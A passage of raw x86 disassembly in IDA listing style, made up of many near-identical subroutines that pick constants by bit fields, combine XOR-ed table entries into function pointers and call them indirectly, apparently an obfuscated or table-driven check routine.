[ebp+var_38] jnz short loc_4B0738 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0738: ; CODE XREF: sub_4B06A7+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B06A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B07A4 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB94o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0E6h mov [ebp+var_2C], 17h mov [ebp+var_28], 0DFh mov [ebp+var_24], 0B8h mov [ebp+var_20], 5Eh mov [ebp+var_1C], 8Bh mov [ebp+var_18], 36h mov [ebp+var_14], 0D8h mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B0832 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0832: ; CODE XREF: sub_4B07A4+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B07A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B089E proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB98o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 89h mov [ebp+var_2C], 8Eh mov [ebp+var_28], 2Dh mov [ebp+var_24], 0CCh mov [ebp+var_20], 0CBh mov [ebp+var_1C], 63h mov [ebp+var_18], 0D7h mov [ebp+var_14], 31h mov [ebp+var_10], 0Ah mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ah and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B092F mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B092F: ; CODE XREF: sub_4B089E+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B089E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B099B proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDB9Co var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Dh mov [ebp+var_2C], 67h mov [ebp+var_28], 0FBh mov [ebp+var_24], 24h mov [ebp+var_20], 0D9h mov [ebp+var_1C], 35h mov [ebp+var_18], 9Ch mov [ebp+var_14], 52h mov [ebp+var_10], 0Ch mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Ch and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B0A2C mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0A2C: ; CODE XREF: sub_4B099B+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B099B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B0A98 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBA0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0F9h mov [ebp+var_2C], 60h mov [ebp+var_28], 0E6h mov [ebp+var_24], 6Fh mov [ebp+var_20], 89h mov [ebp+var_1C], 2Eh mov [ebp+var_18], 0A8h mov [ebp+var_14], 3Ch mov [ebp+var_10], 0 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B0B26 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0B26: ; CODE XREF: sub_4B0A98+7Bj mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B0A98 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B0B92 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBA4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0F0h mov [ebp+var_2C], 0EAh mov [ebp+var_28], 1Bh mov [ebp+var_24], 15h mov [ebp+var_20], 8Ch mov [ebp+var_1C], 84h mov [ebp+var_18], 0A7h mov [ebp+var_14], 45h mov [ebp+var_10], 15h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 15h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B0C23 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0C23: ; CODE XREF: sub_4B0B92+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B0B92 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B0C8F proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBA8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 7Dh mov [ebp+var_2C], 8 mov [ebp+var_28], 13h mov [ebp+var_24], 0E5h mov [ebp+var_20], 34h mov [ebp+var_1C], 64h mov [ebp+var_18], 13h mov [ebp+var_14], 63h mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B0D20 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0D20: ; CODE XREF: sub_4B0C8F+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B0C8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B0D8C proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBACo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 71h mov [ebp+var_2C], 7Ch mov [ebp+var_28], 0E5h mov [ebp+var_24], 57h mov [ebp+var_20], 0Eh mov [ebp+var_1C], 0E0h mov [ebp+var_18], 31h mov [ebp+var_14], 31h mov [ebp+var_10], 0Eh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Eh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B0E1D mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0E1D: ; CODE XREF: sub_4B0D8C+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B0D8C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B0E89 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBB0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0BDh mov [ebp+var_2C], 0Bh mov [ebp+var_28], 0A6h mov [ebp+var_24], 0E9h mov [ebp+var_20], 42h mov [ebp+var_1C], 6Dh mov [ebp+var_18], 73h mov [ebp+var_14], 2Ah mov [ebp+var_10], 8 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 8 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B0F1A mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B0F1A: ; CODE XREF: sub_4B0E89+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B0E89 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B0F86 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBB4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 2 mov [ebp+var_2C], 7 mov [ebp+var_28], 0EEh mov [ebp+var_24], 0F4h mov [ebp+var_20], 0F6h mov [ebp+var_1C], 0E9h mov [ebp+var_18], 0EDh mov [ebp+var_14], 55h mov [ebp+var_10], 0Bh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Bh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1017 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1017: ; CODE XREF: sub_4B0F86+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B0F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1083 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBB8o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 77h mov [ebp+var_2C], 0D4h mov [ebp+var_28], 5Ah mov [ebp+var_24], 0E5h mov [ebp+var_20], 1Bh mov [ebp+var_1C], 86h mov [ebp+var_18], 7Bh mov [ebp+var_14], 15h mov [ebp+var_10], 10h mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 10h and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1114 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1114: ; CODE XREF: sub_4B1083+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1083 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B1180 proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBBCo var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 0D4h mov [ebp+var_2C], 0D5h mov [ebp+var_28], 54h mov [ebp+var_24], 0BCh mov [ebp+var_20], 0AFh mov [ebp+var_1C], 0D3h mov [ebp+var_18], 91h mov [ebp+var_14], 0C8h mov [ebp+var_10], 0Fh mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 0Fh and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B1211 mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B1211: ; CODE XREF: sub_4B1180+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B1180 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B127D proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBC0o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov [ebp+var_30], 4Ah mov [ebp+var_2C], 78h mov [ebp+var_28], 0E3h mov [ebp+var_24], 46h mov [ebp+var_20], 0E2h mov [ebp+var_1C], 23h mov [ebp+var_18], 6Ch mov [ebp+var_14], 0A7h mov [ebp+var_10], 3 mov [ebp+var_40], 7 mov eax, [ebp+arg_0] shr eax, 3 and eax, 7 mov ecx, [ebp+eax*4+var_30] mov [ebp+var_3C], ecx mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_34], eax mov eax, [ebp+var_3C] cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx mov edx, [ebp+var_34] cmp edx, [ebp+var_38] jnz short loc_4B130E mov eax, [ebp+var_38] add eax, 1 cdq mov ecx, 1Eh idiv ecx mov [ebp+var_38], edx loc_4B130E: ; CODE XREF: sub_4B127D+7Ej mov edx, [ebp+var_3C] mov eax, [ebp+var_34] mov ecx, dword_4F36E8[edx*4] xor ecx, dword_4ED2CC[eax*4] mov edx, [ebp+var_38] xor ecx, dword_4ED2CC[edx*4] mov [ebp+var_8], ecx mov eax, [ebp+arg_4] push eax mov ecx, [ebp+var_3C] movsx edx, byte_4F1DF0[ecx] call off_4F1D00[edx*4] add esp, 4 mov [ebp+var_4], eax mov eax, [ebp+arg_8] push eax mov ecx, [ebp+var_4] push ecx call [ebp+var_8] add esp, 8 push eax mov edx, [ebp+var_3C] movsx eax, byte_4F1DF0[edx] call off_4F1D78[eax*4] add esp, 4 mov [ebp+var_C], eax mov eax, [ebp+var_C] and eax, 1 mov esp, ebp pop ebp retn sub_4B127D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4B137A proc near ; CODE XREF: .text:004BB43Ep ; DATA XREF: .data:004EDBC4o var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 40h mov 